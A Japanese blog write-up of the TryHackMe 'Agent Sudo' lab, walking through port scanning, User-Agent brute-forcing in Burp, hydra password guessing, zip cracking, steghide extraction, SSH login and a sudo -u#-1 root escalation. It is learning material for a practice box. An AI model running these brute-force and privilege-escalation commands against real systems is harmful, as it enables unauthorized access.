2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Agent Sudo - Writeup

Last updated at Posted at 2024-02-17

はじめに

TryHackMeの "Agent Sudo" というルームのWriteupです。
たくさんのエイリアンが出てくるルームをハックしていきましょう!

  • 難易度 : Easy

image.png

目標

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。

Recon

いつも通り、nmapでオープンポートの調査をします。

root@ip-10-10-246-163:~# nmap -Pn -sV 10.10.45.251

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 13:01 GMT
Nmap scan report for ip-10-10-45-251.eu-west-1.compute.internal (10.10.45.251)
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:2F:0B:8A:5A:FD (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds

21(ftp), 22(ssh), 80(http)が空いています。

ディレクトリスキャン

root@ip-10-10-246-163:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.45.251
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.45.251
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/13 13:04:37 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 13:04:48 Finished
===============================================================

めぼしいページは見つかりませんでした。

Webサイト偵察

image.png

アクセスするためにはuser-agentを変更する必要があるようです。

Burp Suiteでブルートフォース

User-Agentを変更してHTTPリクエストを送りたいと思います。
まず、Burp SuiteでInterceptします。

image.png

Send to Intruder をクリックします。

image.png

ブルートフォースしたいパラメータの部分に任意の文字列を記入します。

image.png

Agent Rがいるので、おそらく大文字のアルファベット1文字だと仮定してペイロードを設定します。

image.png

ブルートフォースしてみると、Cの時だけ302 リダイレクトされることがわかりました。

image.png

では戻ってUser-Agent: Cとしてサイトを見てみましょう。

Interceptタブに戻って変更しました。この状態で、Intercept is on をクリックします。

image.png

リダイレクトされてページが変わりました!
Agent Cはchrisという名前だったようです。

image.png

また、Jさんがすごく脆弱なパスワードを使っているという情報もゲットしました。

chrisでブルートフォース

Agent Jの名前はまだわからないので、唯一知っているchrisというユーザ名で、sshとftpに対してブルートフォースを行っていきます。

└─$ hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.75.144   
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-16 10:28:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.10.75.144:21/
[STATUS] 224.00 tries/min, 224 tries in 00:01h, 14344175 to do in 1067:17h, 16 active
[21][ftp] host: 10.10.75.144   login: chris   password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-16 10:30:10

ftpのパスワードがわかりました。ログインしてみます。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ ftp chris@10.10.75.144
Connected to 10.10.75.144.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||61791|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Oct 29  2019 .
drwxr-xr-x    2 0        0            4096 Oct 29  2019 ..
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.

気になるファイルがあったのでローカルに持ってきましょう。

ftp> mget *
mget To_agentJ.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||21677|)
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
100% |*********************************************************************************|   217        1.56 MiB/s    00:00 ETA
226 Transfer complete.
217 bytes received in 00:00 (0.71 KiB/s)
mget cute-alien.jpg [anpqy?]? y
229 Entering Extended Passive Mode (|||31553|)
150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).
100% |*********************************************************************************| 33143       51.81 KiB/s    00:00 ETA
226 Transfer complete.
33143 bytes received in 00:00 (35.41 KiB/s)
mget cutie.png [anpqy?]? y
229 Entering Extended Passive Mode (|||33928|)
150 Opening BINARY mode data connection for cutie.png (34842 bytes).
100% |*********************************************************************************| 34842       43.20 KiB/s    00:00 ETA
226 Transfer complete.
34842 bytes received in 00:01 (31.39 KiB/s)
ftp> quit
221 Goodbye.

中を見てみましょう。

To_AgentJ.txt

Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,Agent C
このエイリアンのような写真はすべて偽物です!
エージェントRは本物の写真をあなたのディレクトリに保存しました。
あなたのログインパスワードは偽の写真に保存されています。問題ありません。

なるほど・・・・?

image.png

この画像2つはどちらかが本物で、どちらかが偽物ということなのでしょうか。
写真の中にパスワードを保存したようなので、このファイルから隠されたパスワードを見つけてみましょう。

フォレンジック

strings, file, exiftool などのコマンドを実行したのですが、めぼしい情報はありませんでした。

ステガノグラフィーかなと思い、以下のツールを試してみました。

image.png

image.png

area51 が共通してパスワードかもと言われていますが、これはパスワードでしょうか?

そしてまだ Agent J の名前がわかりませんね。

ひとまずパスワードが area51 だとしてユーザ名でブルートフォースしてみます。

$ hydra -p area5 -L /usr/share/wordlist/rockyou.txt

→ だめでした

追記:
alien51steghide extract で情報を取り出すときのパスワードでした
以下かなり遠回りな方法で進んでいきます、、、

わからなくなって問題を再度見ると、ヒントのようなものがありました。

image.png

Zipファイルとstegをするときにパスワードが必要なようです

binwalkで見てみると、片方にzipファイルが隠されているようでした。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ binwalk -e cutie.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22
                                                                                        
┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ binwalk -e cute-alien.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

binwalkによってフォルダが生成されていたので中身を確認していきます。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ ls
cute-alien.jpg  cutie.png  _cutie.png.extracted  hydra.restore  req.txt  To_agentJ.txt

image.png

zipの中にtxtファイルがあったのでクリックすると、パスワードを求められてしまいました。

image.png

zip パスワード john で調べた結果、パスワードクラックの方法が分かったので実行していきます。

┌──(kali㉿kali)-[~/THM/AgentSudo/_cutie.png.extracted]
└─$ zip2john 8702.zip > 8702.hash
Created directory: /home/kali/.john
                                                                                                                              
┌──(kali㉿kali)-[~/THM/AgentSudo/_cutie.png.extracted]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt 8702.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
+ alien            (8702.zip/To_agentR.txt)     
1g 0:00:00:00 DONE (2024-02-17 00:28) 1.234g/s 30340p/s 30340c/s 30340C/s michael!..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

パスワードが分かったのでzipファイルの中身を見ていきましょう。

image.png

QXJlYTUx というのはハッシュか何かでしょうか?

hashes.com で調べたら画像の中に隠されていた文字列が出てきました。
既知の情報しか手に入りませんでした、、、

image.png

ヒント通りステガノグラフィで隠された情報を見ていきましょう。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ steghide extract -sf cute-alien.jpg 
Enter passphrase:   <----------- area51を入れる
wrote extracted data to "message.txt".
                                                                                                                              
┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ cat message.txt  
+ Hi james,

+ Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

名前とパスワードが一気にわかってしまいましたね!

Gaining Access

sshが開いていたはずなので侵入していきましょう。

┌──(kali㉿kali)-[~/THM/AgentSudo]
└─$ ssh james@10.10.1.131 
The authenticity of host '10.10.1.131 (10.10.1.131)' can't be established.
ED25519 key fingerprint is SHA256:rt6rNpPo1pGMkl4PRRE7NaQKAHV+UNkS9BfrCy8jVCA.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
james@10.10.1.131's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb 17 05:57:33 UTC 2024

  System load:  0.0               Processes:           93
  Usage of /:   39.7% of 9.78GB   Users logged in:     0
  Memory usage: 15%               IP address for eth0: 10.10.1.131
  Swap usage:   0%


75 packages can be updated.
33 updates are security updates.


Last login: Tue Oct 29 14:26:27 2019
james@agent-sudo:~$ whoami
james

入れました。ユーザフラグ探していきましょう。

james@agent-sudo:~$ ls
+ Alien_autospy.jpg  user_flag.txt
james@agent-sudo:~$ cat user_flag.txt 
flagflagflag*************

ゲットできました。もう1つ気になるファイルがあったので、ローカルにダウンロードして確認しましょう。

┌──(kali㉿kali)-[~]
└─$ scp james@10.10.1.131:/home/james/Alien_autospy.jpg  /home/kali/THM/AgentSudo 
james@10.10.1.131's password: 
Alien_autospy.jpg                                                                           100%   41KB  40.2KB/s   00:01   

ちょっとお見せできないのですが死んだエイリアンのリアルな画像みたいなのでした、、、

問題に What is the incident of the photo called? と書いてあるのですが調べたくなかったのでchatGPTに聞いてみました。

image.png

ありがとうございます!!!

PrivEsc

ひとまずいつも通りSUDO, SUIDの脆弱性を探していこうと思います。

james@agent-sudo:~$ sudo -l
[sudo] password for james: 
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
+    (ALL, !root) /bin/bash

なにかありますね。  (ALL, !root) /bin/bashで検索したらCVE番号がわかりました。

そのまま実行してみましょう。

james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root

rootに昇格できました~!!!rootフラグを見てみましょう。

root@agent-sudo:/home# find / -name root.txt 2>/dev/null
/root/root.txt
root@agent-sudo:/home# cat /root/root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 
******FlagIsHere***************

By,
DesKel a.k.a Agent R

rootフラグがゲットできました。

あとがき

Burp Suiteとフォレンジックの勉強になりました。
色々遠回りしてしまったのですが、以下のツール使うと便利ですね。主要なコマンド結果が見れたり、隠されているファイルもダウンロードできるようになっています。

今度ctfに参加する際に使ってみようと思います!

また、時間がかかってしまったポイントとしては、ステガノグラフィでテキストではなくファイルを隠せることと、パスワードがかけられることを知らなかったところです。binwalk, steghideを初めて使うことが出来てよかったです。

Try Harder!

参考

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?